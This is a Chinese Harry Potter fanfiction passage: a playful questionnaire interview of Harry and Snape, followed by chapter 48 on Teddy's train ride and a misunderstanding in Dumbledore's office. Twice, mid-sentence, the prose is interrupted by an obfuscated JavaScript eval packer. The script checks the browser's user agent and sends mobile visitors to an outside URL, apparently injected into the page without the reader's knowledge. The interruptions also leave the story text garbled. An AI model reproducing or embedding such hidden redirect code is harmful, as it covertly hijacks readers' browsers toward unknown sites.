HP:哈利·波特。 SS:(沉默十秒)西弗勒斯·斯内普。 『年龄是?』 SS:40。 HP:(低头掰手指头碎碎念)应该是31吧。(不确定地转头看斯内普)我必须得加上那个12年吗?那个可以不算吧?(抱头嚎叫)我明明该小你二十岁才对啊,这一加不是比你还老了吗!不对!你恢复记忆了,给我加回去! SS:(冷笑)有区别吗?反正你也越活越回去了,说你13岁都是抬举你。 HP:……。 SS:(冷笑不止) 『性别是?』 两个人同时陷入沉默。 眼见斯内普又有飙毒液的趋势,哈利赶在他面前反问,“我们哪里看上去像是女的吗?” “巫师这个人种是不能看表面的。”情人节人偶似乎做了个耸肩的动作,声音依然毫无起伏,“Whirl&Loop玩笑商店的独家新产品性别转换剂可以轻易做到永久换性。” HP:(扶额)W&L……做广告做到我们这儿了! SS:(斜睨)当初是谁大方出资赞助他们5000加隆的? HP:(不自在地别过头,小声解释)因为泰迪说想和乔治他们一起开店…… SS:(哼了一声,脸色稍微缓和下来) 『请问您的性格是怎样的?』 HP:小时候有点自卑?长大了……其实我觉得我还算是蛮随和的性格。 SS:严谨。 『对方的性格?』 HP:刻薄、记仇,得理不饶人。但……有时还算温柔,不过他肯定不会承认。 SS:(嘴角微微勾起)愚蠢。 HP:(瞪大双眼)它是在问性格! SS:(沉默) HP:还有‘愚蠢’是什么意思! SS:(悠闲地翻起手边的药剂周刊) HP:(大怒)不跟你谈了,我要收回我最后一句话! 『两个人是什么时候相遇的?在哪里?』 HP:(面带犹豫地往斯内普方向瞄了瞄) SS:(毫不犹豫)我家炼药室的坩埚。 HP:(如释重负)那我同上。(用旁人听不到的声音抱怨道)十一岁遇到他那年简直是噩梦…… 『对对方的第一印象是?』 HP:怎么斯内普没死? SS:(狠狠瞪他一眼) HP:(无辜地做了个鬼脸)那时候发生那么多乱七八糟的事,别太苛求我。 SS:(面无表情)糟蹋魔药的都该死。(补了一句)尤其是波特。 HP:(抗议)你那时候还不知道我是波特吧! SS:有你那张欠揍的波特脸就够了。 『喜欢对方的哪一点呢?』 HP:因为是莫名其妙就喜欢上了,所以自从想起自己喜欢他后,这个问题我问了自己十几年……(叹气) SS:(药剂周刊翻过一页)没有。 HP:那你怎么喜欢上我的? SS:我曾经说过这个词吗? HP:……(被堵得说不出话来) 『讨厌对方哪一点?』 HP:当初我还是学生时他一个劲地扣格兰芬多的分,作业经常给我“T”,有事没事都刁难我,见过记仇的没见过这么狠的。后来老是扣另一个哈利的分来威胁我。当然啦,现在我们都退休了…… SS:做事冲动,不顾后果。 HP:我什么时候不顾后果了? SS:所以我们伟大的黄金男孩把自己弄得要死不活,天天等死是件考虑周全的事。 HP:(默默低下头)对不起。下一题吧。 可下一题迟迟不来。 哈利狐疑地望过去,只听人偶的口中传出一阵不明意义的嘈杂声,似乎是好些人在争吵的声音—— “死……怎……回事……” “……静……好好地……” 斯内普眼睛微微眯起。 “难道是坏了?”满腹疑惑的哈利拿起人偶摇了两下,沙沙的杂声忽然中断,一切仿佛都没发生过,人偶又开始了单调的问话。 『您觉得自己与对方相性好吗?』 HP:(歪头想了想)与其说我们相性好不如说是奇迹。虽然现在是在一起,怎么说呢,估计要不是……他当时肯定头也不回地就甩了我吧? SS:不会。 HP:(讶异地张大眼睛)西弗勒斯,你说什么? SS:(不耐烦)我不说第二遍,波特! 『您怎么称呼对方?』 HP:西弗勒斯。生气时会叫斯内普。 SS:……哈利。 HP:(不屑)刚才还叫我波特,要数数你这个月叫过我几次哈利吗? 『您希望被对方怎样称呼呢?』 HP:哈利,显然的。一听到他叫我波特我就觉得又回到了学生时代。 SS:(剜了人偶一眼,不作答) 『如果以魔法生物或植物比喻的话,您觉得对方是?』 HP:带毒蛇舌头的蝙蝠。 SS:(从鼻孔里喷气)冬青木。 『如果要送礼物给对方,您会选择?』 HP:魔药、魔药书之类的吧,没见他对别的东西有兴趣过。至于黑魔法,这东西还是少碰吧。 SS:他的教子。 HP:别把泰迪当礼物! SS:(嗤之以鼻)所以我们伟大的救世主一点也不想见他亲爱的教子。 HP:(沉默片刻,闷闷说道)想。 『那么您自己想要什么礼物呢?』 HP:我已经很满足了。 SS:(久久不语,直到哈利不耐烦地推了他好几下,才缓缓抬起视线,对上哈利的眼睛)活着。 哈利没有忽略句子中省略的主语,眼中的动摇一闪而过,左手轻轻覆在斯内普细长而冰冷的右手上。后者没有如往常般挥开,而是紧紧回握住他的手。 『对对方有哪里不满么?一般是什么事情?』 HP:数之不尽,最近最不满的就是他丝毫不懂情调。这题跳过。 SS:(绷着脸不说话) 『您的毛病是?』 HP:有时候控制不住自己的情绪。 SS:有时偏见大于理智。 『对方的毛病是?』 HP:(撇嘴)偏心。 SS:(冷笑)永远的格兰芬多。 HP:这也算毛病?那我身边这个永远的斯莱特林算什么? 『对方做的什么事情(包括毛病)会让您不快?』 SS:(再次冷笑)当他不把自己的命当回事的时候。 HP:(语气中夹杂着怒气)你是叫我再一次看着你们死吗?那时候泰迪已经死了,难道还要我看着你,看着爸妈和小天狼星他们,看着阿不思死?既然我付得起,那我就愿意付出任何代价! SS:别人的生命不用你来背负。 HP:你们对我来说不是别人! SS:就是你的这种救世主论调令我不快至极。 哈利的嘴张开片刻,轻声叹息的同时快速拥抱了身旁的人一下,感受到熟悉的温暖后又放开手,“你知道的,我不是什么救世主。我想我明白阿不思的想法,那时候我根本不在乎别人,我只在乎你们。我只想你们快乐。” 斯内普抿着嘴唇,紧紧地仿佛透不过气来。 『您做的什么事(包括毛病)会让对方不快?』 HP:(自嘲)我想不管我怎么说他都已经足够不快了。 SS:哼。 『您们的关系到了哪种程度?』 HP:算是同居关系……吧? SS:同床。 HP:(目瞪口呆)西弗勒斯,我不知道你还会讲冷笑话。 『两人的初次约会是在哪里?』 斯内普皱眉,显得难以启齿,“梦里。” “梦里?约会?”哈利的表情有些复杂无奈,“说真的我们之间有过那种东西吗……等等!如果那个也勉强算的话!” 斯内普挑眉,“哪个?” “食死徒的舞会上。”哈利苦笑着摸摸头发,“不过撇开约会本身不谈,那次可真是我人生中最糟的经历之一——” “我不记得有这个舞会。” 斯内普的眼神就像在问你还有多少事瞒着我。哈利讪讪赔笑,“哦,忘了,的确是没有……说来你也欠我个解释。那个‘梦里’又是怎么回事?” “……” “难道是春梦……”哈利难以置信地问,嘴角有些抽搐。 “是你的梦里!” “我的梦?我自己怎么不知道?好吧好吧,看来我们在情报上严重缺乏交流。” 『那时两人之间的气氛怎样?』 HP:(耸肩)不怎么样,在伏地魔眼皮底下我们能怎么样? SS:他看上去很快乐。 HP:(翻白眼)显然我们说的不是同一个约会。 『那时进展到何种地步了?』 HP:(局促)我……呃,吻了他。不过那时候我情绪不太正常…… SS:(平静)他告白了。 HP:我什么? SS:(别过头躲避视线) HP:喂!西弗勒斯·斯内普,你别转过头,我在梦里告白了?梅林在上,这种事我怎么可能会忘?你要是不解释清楚今晚别想睡觉! 『经常去的约会地点是?』 HP:(恼怒)我什么都不记得,不要问我! SS:…… 『您会为对方的生日做什么样的准备?』 HP:送礼物和亲自准备一顿晚餐。 SS:他那天会收到一堆生日礼物和祝福,不差我的。 HP:(瞪眼)那是两回事! 『是由哪一方告白的?』 HP:他说是我。我不记得。不过反正的确是我。 SS:……。 『您有多喜欢对方?』 SS:(眼神黯淡了一下) HP:以前不知道,后来才知道原来我曾喜欢到宁愿忘记的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156385|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程度。 『那么,您爱对方吗?』 HP:(认真)爱。 SS:……。 HP:不用指望这个人会说出口,下一题吧。 『对方说什么会让您觉得很没办法拒绝?』 HP:他从来不会说这些话,也不会让我知道他在想什么。只会逼得我不得不赞同。 SS:一再叫我名字的时候。 HP:哦?包括恶狠狠地叫你斯内普的时候? 『如果觉得对方有变心的嫌疑,您会怎么做?』 HP:他爱上我算是从我妈妈那里变心吗? SS:是他的自由。 HP:你根本是吃定我不会变心。 『能原谅对方的变心吗?』 HP:能。但我相信他不会。 SS:他死都别想。 HP:你才说过这是我的自由! 『您最喜欢对方身体的哪一部分?』 HP:没有特别喜欢的。我喜欢他整个人带给我的安定感。 SS:眼睛…… HP:(自嘲一笑)果然…… SS:(面无表情地瞪他)……里的神采。(深邃的眼睛里含着难得一见的温柔)那是莉莉没有的。 HP:(一脸诧异)你没发烧吧? SS:…… 『对方性感的表情是?』 HP:(讨好地和斯内普十指交错相握)他专注的时候。不管是制作魔药时,还是刚刚的表情都很性感。 SS:勇往直前时的表情。 HP:(嗤笑)我以为你一直讽刺那是轻率莽撞? SS:(不答话) 『两人在一起时最让您觉得心跳加速的事情是?』 HP:拥抱的时候。 SS:(没反应) HP:怎么不回答? 斯内普一把拉过哈利,在他碧绿的眼睛上轻啄两次,再轻车熟路地转移目标。哈利也倾身吻住他,两人很快便陷入热吻的旋涡里。直到告一段落后,斯内普才在哈利看不到的角度示威似的一勾唇角,“现在这样。” 吻得热火朝天、晕头转向的哈利自然没有注意到,人偶似乎当机了很久。 『您曾向对方撒谎吗?您善于说谎话吗?』 HP:(脸上的热气还没散尽)有。但已经很少了,除非迫不得已。想当初上学时我可是想方设法地编谎话,谁叫他那时候总是刻意找我麻烦。 SS:(面不改色)有。 『做什么事的时候觉得最幸福?』 HP:(坦然)就……刚才那样亲吻的时候,至少他不肯说他爱我我也无所谓了。当然啦,如果是指普通的情况下,能和父母、好友还有泰迪在一起时也最幸福。 SS:他……依赖我的时候。 『曾经吵过架吗?』 HP:我们今早好像才吵过? SS:(从鼻子里哼了声) 『吵架内容?』 HP:原本多是处世态度、观点上的不同,或者是处理事务上的分歧,后来泰迪说我们吵架的内容越来越没营养……话说今天早上,我们干嘛吵架了? SS:(一副事不关己的模样) 『之后如何和好呢?』 HP:一般是他把自己关在实验室折腾魔药,我去外面转两圈。怎么今天好像是倒过来了? SS:(继续无视) 『转世后还希望作恋人么?』 HP:(转向斯内普,作好奇状)转世是什么意思? SS:(干脆)下一题。 『您的爱情表现方式是?』 HP:信任他。 SS:和他在一起。 『什么时候会让您觉得‘他已经不爱我了’?』 SS:没有。 HP:(轻笑)我从没想过他会真的爱我,而不是我的母亲。所以就算他哪天不跟我说再见就离开我也不会奇怪的。(感觉到爱人的瞪视)当然,那是在……唔,以前。 『您会不惜用迷魂药让对方重新爱上自己吗?』 HP&SS:(斩钉截铁)不会。 HP:我早就学会不要自欺欺人了。 『您觉得对方会从迷情剂从闻到什么味道?』 HP:我想是各种魔药的味道? SS:南瓜布丁,他喜欢吃。 『您自己会从迷情剂从闻到什么味道?』 HP:玩魁地奇时迎面吹来的风的味道,韦斯莱夫人做的南瓜布丁的味道,还有……呃,差不多就是……(脸刷的红到了耳朵根) SS:魔药,黑魔法,……(苍白的脸上泛起一层薄得可疑的红晕) (人偶背后:很好,老大不小的人了还一起玩沉默装纯情。) 『两人之间有互相隐瞒的事情么?』 HP&SS:(各自把脸别向一边) HP:咳咳,太多了。 『两人的关系是公开还是秘密的?』 HP:(略微不安)阿不思是第一个知道的,泰迪他们几个后来也都知道了,我父母他们……(没由来打了个冷战) SS:(露出嘲弄的笑容)你以为你瞒得住? HP:(绝望地悲鸣)想想就可怕,小天狼星会阿瓦达我……不对,是阿瓦达了你。 SS:哼,就凭那只疯狗? 『您觉得与对方的爱是否能维持永久?』 HP:(微笑)能。因为我的灵魂会停留到永久。 SS:(无意识地握紧拳头,松开,再握紧,最后还是什么也没说) HP:(把头靠在斯内普肩膀上)不要这个表情,西弗勒斯。这是我第二不喜欢的表情。 SS:(扯了扯嘴角)那第一不喜欢的呢? HP:(失笑)哈,这还用说吗? 『请问您是攻方,还是受方?』 尴尬的沉默持续了永无止境的一刹那。 打破它的是噼里啪啦的爆音。 只见丝丝电流乱窜,不过几秒功夫情人节人偶就化为了一块黑炭。魔药大师从容不迫地拍拍手上的灰,仿佛做了一件微不足道的事,径自起身离开。 “你疯了,西弗勒斯!功夫都白费了!我得把这个人偶寄回给泰迪他们的!” 抗议无效。一个宝蓝色的小盒子在空中抛出一条优美的弧线,准确地落在哈利的手上,堵住了他接下来的话语。 他怔怔地对着盒子里的物件发呆,一时忘了反应。可怜的不成人形的人偶已经被扔给梅林了。 “跟我来,你还有十秒。” “哦,梅林……”终于回过神来的哈利如同小孩子般欢呼一声跟上去,“我爱死你了,西弗勒斯!” …… …… ——在遥远英国的另一端。 “乔治,伙计,我就说接下来这个问题过头了。唉,做一个情人节人偶容易吗我们?” “过头?更刺激的还在后头呢!啧啧,可惜啊……” “还是算了吧,如果被西弗知道我们可以透过人偶偷窥……哈利也会生气的。” “斯内普绝对不会放过我们的!怎么办怎么办?” “安静点罗恩,别总是那副窝囊样!我分析后认为佩弗利尔教……呃,哈利在下的几率比较大。哦,不不,小天狼星你冷静些,我只是说可能!可能!” “我要杀了鼻涕精!我要杀了那个老牛吃嫩草的混球!斯内普,你给我等着!!!!!” 48. 分院仪式(上) “海德薇,你说罗恩他们什么时候才来?火车都快开了……”泰迪百无聊赖地趴在车厢窗口上,右手手指有一搭没一搭地卷着垂在耳边的头发玩。 海德薇歪了歪脑袋,咕咕叫了两声,好似在安抚自己的主人,见主人没搭理它,便缩回头去整理自己的羽毛。 泰迪也只是随口抱怨,灰色而明亮的眼睛随着月台上川流不息的人群移动,同时手上的动作依然不停。在食指上卷满一束头发,放开后头发便换了一种颜色,然后再卷上——从棕色到紫色到金色,泰迪差不多把所有能想到的颜色都轮了个遍,可见他已经无聊到拿自己易容马格斯的能力来消遣的地步了。 再过一会儿,特快专列就会把他们带回霍格沃兹。也代表着,这个多事的暑假终于结束了。 眼巴巴地看着家长们抓紧最后时间和自己孩子拥抱,或是耳提面命、谆谆嘱咐的温馨场面,泰迪不自觉停下手上的动作,眼睛里流露出些许渴望而不可得的失落神情。 哈利现在已经到霍格沃兹了吧? 泰迪无精打采地耷拉着头。 一阵风吹来,他缩起脖子,忍不住打了个小喷嚏。 好吧,其实他只是有点妒忌。这可不是撒娇的理由。 “咔嚓。咔嚓。” 耳边连续响起好几声怪声,泰迪循声望去,首先入目的是个麻瓜相机,随后是拿着它的灰头发男孩——看上去比自己还要小一点。 注意到泰迪的视线,男孩放下相机,腼腆地说了句你好。 泰迪友好地朝他笑笑,“你好,第一次来?” 男孩连连点头,满脸的新奇感,“是啊,我两个月前才知道英国居然有巫师,而且还有巫师学校。我爸爸一开始都快吓坏了,当然他现在可是乐坏了,巴不得所有邻居都知道——不过没人相信他。天啊,这里的一切都太神奇了!”他滔滔不绝地大发感想,随后意识到自己的过度兴奋,不好意思地吐吐舌头,扭捏半天,最后还是忍不住加了句,“你的头发颜色真酷!” “我的头发?哦,你是说这个……”泰迪将几缕头发拉到面前来,瞅着指间那亮晶晶、粉红色的卷发,哭笑不得。真是糟糕,忘了变回正常的棕色。 “染的吗?”男孩双眼发亮。 “呃……不算是。”泰迪苦恼着现在把头发颜色变回去是不是代表新一轮的解释。 幸好男孩的注意力很快往旁边一个奋力在车窗台挣扎的小黑点转移—— “天啊,我看到什么了,人偶在爬窗!” 事实上泰迪也看到了。但他宁愿相信那是幻觉。看那双手吊在车窗边缘,短小的双腿在半空中乱蹬,却怎么也跨不上去的不正是失踪已久的斯内普人偶吗? 脑子还处在呆滞状态,他的手抢先一步把整个人偶抓进了车厢,顺带整个人也缩了回去。 “为什么你在这儿?”泰迪俯低身子,把人偶举到和自己视线平视的地方,瞪着对方低声问道。 斯内普人偶在泰迪的手掌心中从容不迫地整理仪容,顺便丢给他一个“这不是显而易见吗”的眼神,“当然是去霍格沃兹了。” 泰迪张了张嘴,忽然想起外面那个灰发男孩还在呢,探头一看,果然他仍是副目瞪口呆的样子。 “呃,抱歉吓到你,那个是我做的玩具,出了点故障……” “哦,没关系没关系。”男孩的表情就像是在说他刚大开眼界了一番,他握住泰迪的手狂摇,“那么我们在霍格沃兹见吧,我是科林·克里维,我们已经是朋友了对吧?” “很高兴和你成为朋友,我是泰迪·卢平。”泰迪笑眯眯地目送科林带着他的麻瓜相机跑去别处乱出转,再次回到车厢内和斯内普人偶大眼瞪小眼。 人偶已经给自己找了块舒适的位置坐好,相当不满抬头仰视泰迪,“男孩,注意你的用词,我不是玩具。” “那只是个随便编的借口,我可没法跟别人解释你的来历。”泰迪挥挥手,一开始惊讶的神情被好奇所取代,“你不是呆在西弗那儿吗?哈利是这么告诉我的。” “那是两个星期前的事了。”说到这个话题,人偶看上去得意洋洋,“我这段时间一直住在那个叫莱姆斯·卢平的狼人家里。” 出乎意料的发言让泰迪傻了眼。 “你说什么?你跑那儿去干什么——” “用用你华丽的小脑瓜子。”斯内普人偶鄙夷的目光在他粉红的头发上打转,“当然是去观察狼毒药剂的效果,佩弗利尔没跟你说?” 泰迪只感到一阵头晕目眩,“我相信哈利也不会知道的。梅林啊,爸……莱姆斯他们没发现你?你一直躲着?” “体积小自有它的好处。”斯内普人偶慢慢地环顾车厢四周,回答得漫不经心,“沙发角落,枕头底下,还有狼尾巴里——虽然不怎么保险,那条黑狗鼻子太灵敏了。” …… “你怎么没被闷死?”彻底无言以对的泰迪嘟嘟囔囔,想起了另外一个可能性,“等等,既然你能来到这里——” 说着他伸头往外一看,果然,波特一家正站在不远处,看样子还没找到空车厢。 小哈利似乎感应到泰迪的视线,看了过来,双手大力挥舞着。 “泰迪!”他嚷道,声音大得引来周围人的注目礼。 “待在这儿别乱跑,西比。”泰迪从座位上站起来,想起斯内普和小天狼星他们的不对盘,觉得不放心,于是回过头又关照了一句,“尤其是别让小天狼星看到你。”说完也不等回应就跳下了火车,把人偶的抗议声远远抛在身后。 “别把那种宠物的名字套在我头上!此外,我没有让那条蠢狗舔得我满身口水的嗜好!” 小哈利一见泰迪就勾肩搭背,“伙计,你来得可真早,罗恩和赫敏还没到吧?车厢里还有空位吗?话说你今天的头发可真炫。”他气也不喘地一连串词下来,说到最后还不忘吹声口哨。 啊,又忘了。 泰迪懊恼地一拍头,头发颜色瞬间恢复原状。 “帮你们留着位呢。”他脸上还微微发烫,生怕还要被嘲笑,赶紧转向几个大人,态度彬彬有礼,“早上好。” “你好,泰迪。”泰迪在暑假期间已经和他们混得相当熟,因此詹姆斯和小天狼星十分熟络地上前和他握手,莉莉则俯下身给了他一个愉快的拥抱。而卢平站在稍后的地方,看他踌躇的样子似乎很想效仿莉莉的动作,只是结果看来不怎么成功。 “就你一个人吗?”卢平边和泰迪握手边问。 “哈利先去霍格沃兹了,我想他得忙学校的事。” 卢平好像能听出泰迪声音里掩盖不住的失望,温和地说,“我敢说,如果他可以的话,他一定会选择陪着你的。” “是啊。”泰迪冲他一笑。 泰迪带着他们往之前的车厢走去,途中正好遇到咬着最后几分钟冲过来的韦斯莱一家和赫敏,短暂的寒暄打闹后,大队人马一起浩浩荡荡地向目的地前进。 “车厢里有什么吗?泰迪。” 赫敏敏锐地察觉到越是靠近车厢,泰迪就表现得越不对劲,不时探头探脑往里面看。 “不,什么也没有。”泰迪连忙摇头。人偶不在座位上,看来它把自己藏得很好。 “孩子们,快上火车,出发时间快到了!乔治,弗雷德!别光顾着捣乱,帮你们的弟弟抬抬箱子!”把箱子都放上车后,韦斯莱夫人尖着嗓子把孩子们一个个都赶上去,等他们从车窗探出身子,再逐个吻别。 轮到泰迪的时候,韦斯莱夫人在他耳边轻声说,“亲爱的,祝你有个愉快的新学期!” “谢谢,韦斯莱夫人。”泰迪有点害羞,用力回抱她。 韦斯莱夫人走到旁边去和赫敏道别,泰迪正想坐回自己的位子,却看见卢平不知什么时候来到车窗外,看着他欲言又止。 “莱姆斯?” 卢平有点尴尬地清清嗓子,“我可以和你道别吗?”他做出示意拥抱的姿势,神情忐忑而期待。 泰迪愣住了,卢平突如其来的举动令他有点意外。但很快眼眸变得鲜明起来,笑容更是止不住地绽放开来,“当然可以!” 他几乎是扑进卢平张开的臂腕中,短促的,紧紧的。 真温暖。和在韦斯莱夫人怀中的感觉不一样,是因为知道给予自己温暖的是父亲吗? 那么感谢梅林,让他可以在这个时空得到父亲的拥抱。 泰迪不停地向渐渐变小、终于完全看不见的人影挥手。 “谢谢你。”——爸爸。他在心里说。 …… …… 当孩子们在火车上迫不及待地期盼新学期的到来时,哈利却在校长室外徘徊不定。 “阿不思,我们得谈谈……不行,口气听上去像是韦斯莱夫人正准备训斥韦斯莱先生。”哈利咕哝,随即意识到自言自语实在是件很傻帽的举动。 尤其是在走廊上如此这般了几十个来回后。 “我现在知道罗恩当初向赫敏求婚前为什么会拉着我排练上几个小时了。”哈利放弃似地停下脚步,凝视着校长室门口的巨大石怪。 而石怪沉默以对,仿佛在无声嘲笑他的胆怯。 “哦,得了,别这么瞪我。我又不是不进去!”哈利狠狠地挠了把头发,原本就不伏贴的黑发愈发杂乱,“让我看看——”他深吸一口气,尝试把石怪想象成邓布利多的模样——虽然石怪的丑陋加深了困难的程度——希望以此平定自己略感烦躁的情绪,“阿不思,我得说这事很重要,跟我们两个都有关系,是和格林……”他兀地卡在这儿,迟疑了片刻,忽然伸手使劲拍了拍两腮,用比先前高了两度音量说道,“好吧,我不是在求婚,阿不思不会拒绝(帮助)我,所以我完全可以换个更直接的说法——” 哈利为自己暗暗鼓劲,浑然不觉一只手搭上了他的右肩。 “啊哈,看看这是谁——佩弗利尔教授!” 哈利的表情定格了一秒,连转头的动作都僵硬而不顺畅,“真巧啊,洛哈特教授。” 完了,他绝望地想道。如果非要丢脸的话,洛哈特绝对排在最末一位。 可洛哈特亲热地凑得更近,无视哈利皱得苦巴巴的脸,“我猜你也是来找我们亲爱的校长先生的?” 哈利反射性地点头,又立刻摇头,抬腿就想走,“抱歉,我忽然想起来分院仪式前还有很多事要忙……” “来吧,别急着走。冰镇柠檬汁!”洛哈特念完口令,一把拽过哈利的胳膊,不由分说地把他拖上旋转楼梯,“我知道你在担心什么,但我敢肯定邓布利多不会因为热衷于和我探讨那些——你知道是什么的——经历而忽视你的请求的。而我很乐意当见证人。”说完他展露出一口晶亮的牙齿。 见证什么?哈利一头雾水地跟在他后头,并热切诅咒洛哈特在不久的未来再次入住圣芒戈精神科。 等到他们迈出石梯,还未来得及敲门,就听到门的另一边传来不少嘈杂声。 隐隐约约能听到有人在说,“……勒斯,你看我们是不是该配合一下……” 然后有人回道,“配合?我会配合把它呱噪的嘴巴牢牢缝起来,那世界就清静了!” 接着便是一阵喧闹,随后似乎响起了稀稀拉拉的唱歌声,还是走调的——说不清到底是那些人走音得一塌糊涂,还是这歌本来就没调。 察觉到校长室里都有些什么人,可以预见里面正在发生的情景,哈利嘴角抽搐,他一点也不想进去,一点也不想。 “看来有人比我们先到一步。”洛哈特对哈利眨眨眼,双手推开大门,像只骄傲的孔雀般以最华丽的姿势亮相,语调高昂地宣布,“诸位下午好——” “重来!重来!我一世的英明都被你们这几个五音不全的家伙给毁光了。如果这世界上还有比你们更烂的歌唱家,我就把我自己吃掉!” 夹杂着怒气的刺耳咒骂把洛哈特的声音瞬间淹没。 随之而来的是窒息的尴尬,所有人的视线都聚焦在门口的两人身上。 短暂的呆滞后,洛哈特的目光在室内转了一圈,疑惑地眨了眨“迷人的”眼睛,“也许,我们错过了什么精彩的剧情?” 没人理睬他的问题,从进门后就躲在他背后的哈利则翻了翻眼——他们进来得可真是好时机。 在校长室的中央,弗立维教授的魔杖停在半空中,看上去之前被当作指挥棒来使用;斯普劳特教授双手捂住嘴巴,发出响亮的抽气声;而麦格教授顾不上尖顶帽歪在一边,正努力制止斯内普把魔杖对上尖声咒骂的来源——分院帽。 一团混乱。 “哦,这不是吉德罗和哈利吗?”加入谈话的银发老人适时地解除众人尴尬的处境。 “我亲爱的阿不思!但愿我和哈利没有打扰到你们!”洛哈特亲切寒暄的同时还不忘把哈利给带上,连教授两字也省了。 邓布利多笑眯眯地迎上来,意味深长的目光往哈利一瞥,“当然当然,院长们只是在彩排今年的分院歌,为什么不留下来听听呢?” 斯内普危险地眯起眼睛,眼神中交杂着深恶痛绝和尖刻。 “阿不思,我不认为还需要——” “为什么不呢,我当然乐意!” 哈利敢说洛哈特没有注意到斯内普的可怕脸色,否则他不会轻轻巧巧就打断他的话,而是明智选择有多远离多远。 也许根本是因为他粗神经。哈利继续胡思乱想。 “事实上,如果阿不思你不介意我提供些帮助的话。魔法音乐学院的菲尔德校长对我的歌唱水平毫不吝啬赞美之词,甚至曾邀请我在她的学院任教。”洛哈特得意地咧嘴一笑,“但我还是不得不痛心地婉拒了,是的,即使失去我对他们而言是一大损失。” “那真遗憾。”邓布利多呵呵笑道,温和地看向哈利,“哈利,有什么我能帮你的吗?” 哈利面露迟疑。格林德沃的信是必须给邓布利多看的,然而是在私人而非眼下公开的场合。 只是洛哈特没打算放过哈利,反而大力拍着他的肩膀,把他拍得生疼,“是的是的,可能哈利有些害羞,年轻人嘛,总是激情和羞涩并存的。” 这句话让哈利警觉,“很抱歉,洛哈特教授,我该害羞什么?” “这不是什么值得羞耻的事,由于年龄性别的差距,不能说过程会一帆风顺,可大家都会真心祝福的。”洛哈特一副“我是这方面行家”的神情。 现在每个人都在盯着哈利。 这个莫名其妙的情况是怎么回事?哈利心头涌上一股不妙的预感。 “原谅我的理解似乎有差错。但我完全听不明白你想表达的意思,洛哈特教授。” 洛哈特对他咧嘴一笑,“年轻人应该更坦白点,哈利。难道你刚刚在外面不是在为求婚做准备吗?” “求婚?谁?”哈利傻乎乎地问。 “当然是阿不思啊,我亲耳听到你说的。哦糟了,或许这不该由我来说,想必求婚时会少了许多惊喜吧。” 哈利的脑子爆炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156386|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 该死的! 震惊的沉默。 分院帽骨碌一下从三角凳上掉下来。 栖息在镀金栖枝上的福克斯抖落满地的羽毛。 该死的梅林见鬼了他怎么没顺便把“求婚”前那个“不是”听进去? “我得说那是误会,洛哈特教授!没有求婚,绝对没这回事!”哈利懊恼地尝试辩解,几乎语无伦次。 “你是在怪我打乱了你的计划吗,哈利?对此我向你道歉。” “不……” “别傻了,哈利。我相信作为一名有着良好名声并享誉多年的成熟巫师,阿不思会慎重考虑你的求婚的。”校长室里唯一还具有思考能力的洛哈特仍在唾沫乱飞。 真是够了! “昏昏倒地!” “昏昏倒地!” 两束红光同时击中洛哈特。伴随着教授们不约而同的惊呼声,洛哈特甚至没发出一丝声响,便直挺挺地脑袋向后砰然倒地。 哈利喘着粗气把魔杖插回裤袋里。很好,早该这么做了,反正也不是第一次攻击一个教授了!他恨恨地想。 然后他看向另外那个发出魔咒的人——斯内普,兀地不自在起来。 “呃,谢谢。” 哈利十分怀疑在这种奇怪的场合道谢是否合适——因为听上去就像斯内普是为了他才这么做的。而会错意的结果就是斯内普的下一个下咒对象变成了哈利·波特。 可斯内普仅从鼻子里哼了声作为回答。 “我想这里没我们什么事了,阿不思,分院仪式上见。”斯内普目不斜视地从哈利身旁擦身而过,不小心把分院帽又踢了个跟斗,带着翻滚的黑袍匆匆离开了。 少了一个院长,彩排自然是无法进行下去,因此教授们陆续离开,最后只剩下哈利和邓布利多,以及被移到沙发上、依然昏迷不醒的洛哈特。 两人都有意无意地忽视了昏迷者——毕竟离分院仪式还有很长一段时间。 “于是我们有了点私人时间。唔,继续刚刚的……‘求婚’吗?” “别开我玩笑了,那不好笑,阿不思。”哈利投去没精打采的一瞥,疲惫不堪似的揉了揉后颈。 该谈正事了,像样点儿,哈利。他催促自己。 然而,看着邓布利多隐含深意的微笑,哈利不知道从何说起。预先排练起不了任何帮助,这使他更加沮丧。 “哈利,我注意到你最近一直在避开我。” “对不起。”哈利闷闷地咕哝着,视线稍稍偏向一边。 “我没有任何责备的意思,我只是想知道——”邓布利多坐直身子,十指指尖轻触,“是否我的某些言辞或行为让你失望了,所以令你对我失去信任了?” 哈利猛地抬起头,不容置疑的坚定,“我并没有不相信你!” 应该说,他从来都愿意相信他——即使心底深处名为疑惑的魔鬼正在壮大。 邓布利多微微低头,湛蓝的眼睛透过镜框上方审视哈利,“那么,你愿意把烦恼跟我说说吗?任何烦恼,我会洗耳恭听的。” 他静静等待着。 哈利花了一分钟在先开口还是先给信的天平上摇摆不定。接着他从口袋里摸索出叠得方方正正的那张羊皮纸,递给邓布利多。 “这就是原因。”他说完,默不作声地坐在那儿,仿佛在等待审判,又或者是解脱。 邓布利多默默浏览羊皮纸上的内容,信很短且不完整,他很快又看了一遍,一丝不苟照原样折叠起来,最后在沉默中闭上眼睛。 “是我的笔迹。” 哈利的心沉了下去。 “但我以名誉保证,信不是‘我’写的。” 心又浮了起来。 